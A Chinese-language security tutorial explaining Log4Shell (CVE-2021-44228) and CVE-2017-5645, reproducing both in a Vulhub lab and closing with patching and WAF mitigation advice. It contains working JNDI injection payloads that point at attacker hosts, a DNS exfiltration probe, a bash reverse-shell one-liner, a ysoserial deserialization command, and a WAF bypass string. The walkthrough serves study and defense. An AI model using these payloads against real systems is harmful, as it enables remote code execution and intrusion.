声明:本文仅供安全研究与学习使用,严禁用于非法用途。未经授权对他人系统进行渗透测试属于违法行为。
0x00 前言
2021年12月,一个编号为 CVE-2021-44228 的漏洞震动了整个互联网——Apache Log4j2 JNDI 注入漏洞,又名Log4Shell。CVSS 评分满分10.0(Critical),影响全球数百万 Java 应用。
这个漏洞为什么这么恐怖?因为 Log4j2 是 Java 生态中使用最广泛的日志框架,几乎所有 Java 应用都在用。而攻击者只需要让目标记录一条包含恶意 payload 的日志——一个 HTTP 请求头、一个 URL 参数、甚至一个用户名——就能实现远程代码执行。
本文将从漏洞原理→环境搭建→完整复现→修复方案四个维度,带你彻底搞懂 Log4Shell。
0x01 漏洞背景
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2021-44228 |
| 漏洞名称 | Apache Log4j2 JNDI 注入(Log4Shell) |
| CVSS评分 | 10.0 Critical |
| 影响版本 | Log4j 2.0 ~ 2.14.1 |
| 修复版本 | 2.15.0(初始修复)→ 2.17.0(完全修复) |
| 漏洞类型 | JNDI 注入 → 远程代码执行(RCE) |
| 发现时间 | 2021年12月9日 |
衍生漏洞时间线:
| 日期 | CVE | 内容 | 修复版本 |
|---|---|---|---|
| 2021-12-09 | CVE-2021-44228 | JNDI 注入 RCE | 2.15.0 |
| 2021-12-13 | CVE-2021-45046 | 2.15.0 绕过(默认配置下仍可利用) | 2.16.0 |
| 2021-12-18 | CVE-2021-45105 | 递归查找导致 DoS | 2.17.0 |
| 2021-12-28 | CVE-2021-44832 | JDBC Appender 中的 RCE(需控制配置文件) | 2.17.1 |
0x02 漏洞原理深度分析
2.1 什么是 Log4j2 的 Lookup 机制?
Log4j2 提供了一个强大的功能叫Message Lookups,允许在日志消息中使用${prefix:name}语法进行动态查找替换。例如:
// 记录日志时,Log4j2 会自动解析 ${} 中的表达式logger.info("系统版本: ${java:os}");// 输出: 系统版本: Windows 10 10.0支持的 Lookup 前缀包括:
| 前缀 | 功能 | 示例 |
|---|---|---|
${java:os} | 获取操作系统信息 | Windows 10 10.0 |
${java:version} | 获取 Java 版本 | 1.8.0_291 |
${env:PATH} | 获取环境变量 | /usr/bin:… |
${sys:user.dir} | 获取系统属性 | /opt/app |
${jndi:...} | JNDI 查找 | 危险! |
2.2 JNDI 是什么?为什么危险?
JNDI(Java Naming and Directory Interface)是 Java 的命名与目录接口,允许 Java 应用通过名称查找远程资源。支持多种协议:
jndi:ldap://attacker.com/evil → 通过 LDAP 协议加载远程对象 jndi:rmi://attacker.com/evil → 通过 RMI 协议加载远程对象漏洞的核心问题:Log4j2 在处理${jndi:...}时,没有对 JNDI 可解析的协议和地址做任何限制。当日志中包含如下 payload:
${jndi:ldap://attacker.com/evil}Log4j2 会:
- 解析到
${jndi:...}表达式 - 通过 JNDI 发起 LDAP 请求到
attacker.com - 从攻击者控制的 LDAP 服务器获取远程 Java 类的引用
- 下载并执行远程 Java 类→ RCE!
2.3 攻击链路图
攻击者 目标服务器 恶意LDAP服务器 | | | | HTTP请求(含payload) | | | User-Agent: ${jndi: | | | ldap://evil.com/a} | | |------------------------>| | | | | | | Log4j2记录日志 | | | 解析${jndi:ldap://evil.com/a} | |--------------------------->| | | | | | 返回恶意Java类引用 | | |<---------------------------| | | | | | 加载并实例化远程类 | | | ★ 远程代码执行! | | | |2.4 JDK 版本的影响
JNDI 注入能否成功,与目标 JDK 版本密切相关:
| JDK 版本 | 直接利用 | 原因 |
|---|---|---|
| < 8u191 | 可以 | 默认允许加载远程 Codebase |
| ≥ 8u191 | 受限 | com.sun.jndi.ldap.object.trustURLCodebase=false |
| ≥ 8u191(绕过) | 可能 | 利用本地 ClassPath 中的 Gadget(如 Tomcat EL) |
本文复现环境中 JDK 版本低于 8u191,可以直接利用。
0x03 漏洞复现
3.1 环境准备
所需工具:
- Docker + Docker Compose
- Vulhub 靶场(开源漏洞靶场集合)
- Java Chains(JNDI 利用工具)
- DNS 日志平台(如 dnslog.cn / interactsh)
3.2 启动靶场环境
# 进入 Vulhub 的 Log4j2 漏洞目录cdvulhub/log4j/CVE-2021-44228# 一键启动靶场dockercompose up-d启动后,访问http://your-ip:8983,可以看到 Apache Solr 的管理页面:
Apache Solr 8.11.0该靶场使用 Apache Solr 8.11.0 作为目标应用,其内部依赖了存在漏洞的 Log4j 2.14.1。
3.3 第一步:DNS 探测(验证漏洞存在)
在发起真正攻击之前,先用 DNS 探测确认目标确实存在 JNDI 注入漏洞。
访问 DNS 日志平台(如 dnslog.cn),获取一个子域名,例如:
xxxxxx.dnslog.cn构造探测 payload,发送 HTTP 请求:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxxxxx.dnslog.cn} HTTP/1.1 Host: your-ip:8983也可以用 curl 命令:
curl"http://your-ip:8983/solr/admin/cores?action=\${jndi:ldap://\${sys:java.version}.xxxxxx.dnslog.cn}"回到 DNS 日志平台刷新,如果看到类似如下的 DNS 查询记录:
1.8.0_291.xxxxxx.dnslog.cn说明 JNDI 注入成功!而且我们还拿到了目标的 Java 版本号。
3.4 第二步:利用 Java Chains 执行命令
启动 Java Chains 工具(Vulhub 提供的 JNDI 利用工具)
生成 Payload:
- 选择 JNDI Basic Payload 模块
- 设置执行的命令,例如:
touch /tmp/success - 工具会生成类似如下的 LDAP URL:
ldap://your-attacker-ip:1389/basic/TouchFile
发送攻击请求:
GET /solr/admin/cores?action=${jndi:ldap://your-attacker-ip:1389/basic/TouchFile} HTTP/1.1 Host: your-ip:89833.5 第三步:验证命令执行
进入靶场容器检查:
dockercomposeexecsolrbash# 检查文件是否被创建ls-la/tmp/success如果看到/tmp/success文件存在,说明命令执行成功!
3.6 反弹 Shell(进阶)
将执行命令替换为反弹 shell:
# bash 反弹 shell 命令bash-c'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'需要对命令进行 Base64 编码以避免特殊字符问题。
攻击者监听:
nc-lvnp44440x04 补充:Log4j 另一个反序列化漏洞(CVE-2017-5645)
除了 Log4Shell,Log4j 还有一个较少人知的反序列化漏洞。
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2017-5645 |
| 漏洞类型 | 反序列化 RCE |
| 影响版本 | Log4j 2.x < 2.8.2 |
| 攻击条件 | 需要目标开启 TCP Socket Server(端口 4712) |
漏洞原理
Log4j 的TcpSocketServer使用ObjectInputStreamLogEventBridge接收日志事件,直接对传入数据进行 Java 原生反序列化,没有白名单过滤:
// 漏洞代码TcpSocketServer<ObjectInputStream>myServer=newTcpSocketServer<ObjectInputStream>(4712,newObjectInputStreamLogEventBridge()// 直接反序列化,无过滤!);myServer.run();复现步骤
# 启动环境cdvulhub/log4j/CVE-2017-5645dockercompose up-d# 使用 ysoserial 生成 payload 并发送java-jarysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5"touch /tmp/success"|ncyour-ip4712# 验证dockercomposeexeclog4jbash-c"ls -la /tmp/success"该漏洞利用条件较苛刻(需要网络可达 TCP 4712 端口),但一旦满足,危害同样严重。
0x05 修复方案
5.1 根本修复:升级 Log4j2
| 目标版本 | 说明 |
|---|---|
| 2.17.1 | 推荐,修复了所有已知漏洞(含 CVE-2021-44832) |
| 2.17.0 | 修复 DoS(CVE-2021-45105) |
| 2.16.0 | 修复绕过(CVE-2021-45046),移除 Message Lookups |
| 2.15.0 | 初始修复(CVE-2021-44228),默认禁用 JNDI lookup |
5.2 临时缓解措施(无法升级时使用)
方法一:设置 JVM 启动参数(仅 2.10.0+ 有效)
-Dlog4j2.formatMsgNoLookups=true方法二:删除 JndiLookup 类
zip-q-dlog4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class方法三:设置环境变量
LOG4J_FORMAT_MSG_NO_LOOKUPS=true5.3 检测是否受影响
# 查找项目中使用的 Log4j 版本find/-name"log4j-core-*.jar"2>/dev/null# 检查 Java 应用的依赖树mvn dependency:tree|greplog4j5.4 WAF 防护规则(纵深防御)
在 WAF 中拦截包含 JNDI lookup 特征的请求:
# 正则匹配 \$\{jndi:(ldap|rmi|dns|nis|iiop|corba):[^}]+\}注意:WAF 规则可被绕过(如
${${lower:j}ndi:...}),不能替代升级。
0x06 总结
| 维度 | CVE-2021-44228 (Log4Shell) | CVE-2017-5645 |
|---|---|---|
| 攻击入口 | 任何能触发日志记录的输入 | TCP 4712 端口直连 |
| 利用难度 | 极低 | 中等 |
| 危害级别 | 严重(CVSS 10.0) | 高(CVSS 9.8) |
| 影响范围 | 全球数百万应用 | 开启 TCP Server 的应用 |
| 核心原因 | JNDI lookup 无限制 | 反序列化无过滤 |
关键教训:
- 永远不要信任用户输入——即使它只是被"记录到日志"
- 最小权限原则——日志框架不需要 JNDI 远程加载能力
- 保持依赖更新——Log4j2 从 2.0 就存在这个设计缺陷,长达 8 年未被发现
- 纵深防御——升级 + WAF + 监控,多层防护
参考资源:
- Apache Log4j2 安全公告
- Vulhub Log4j2 靶场
- LunaSec Log4Shell 深度分析
- 安全社区 Log4j2 深度分析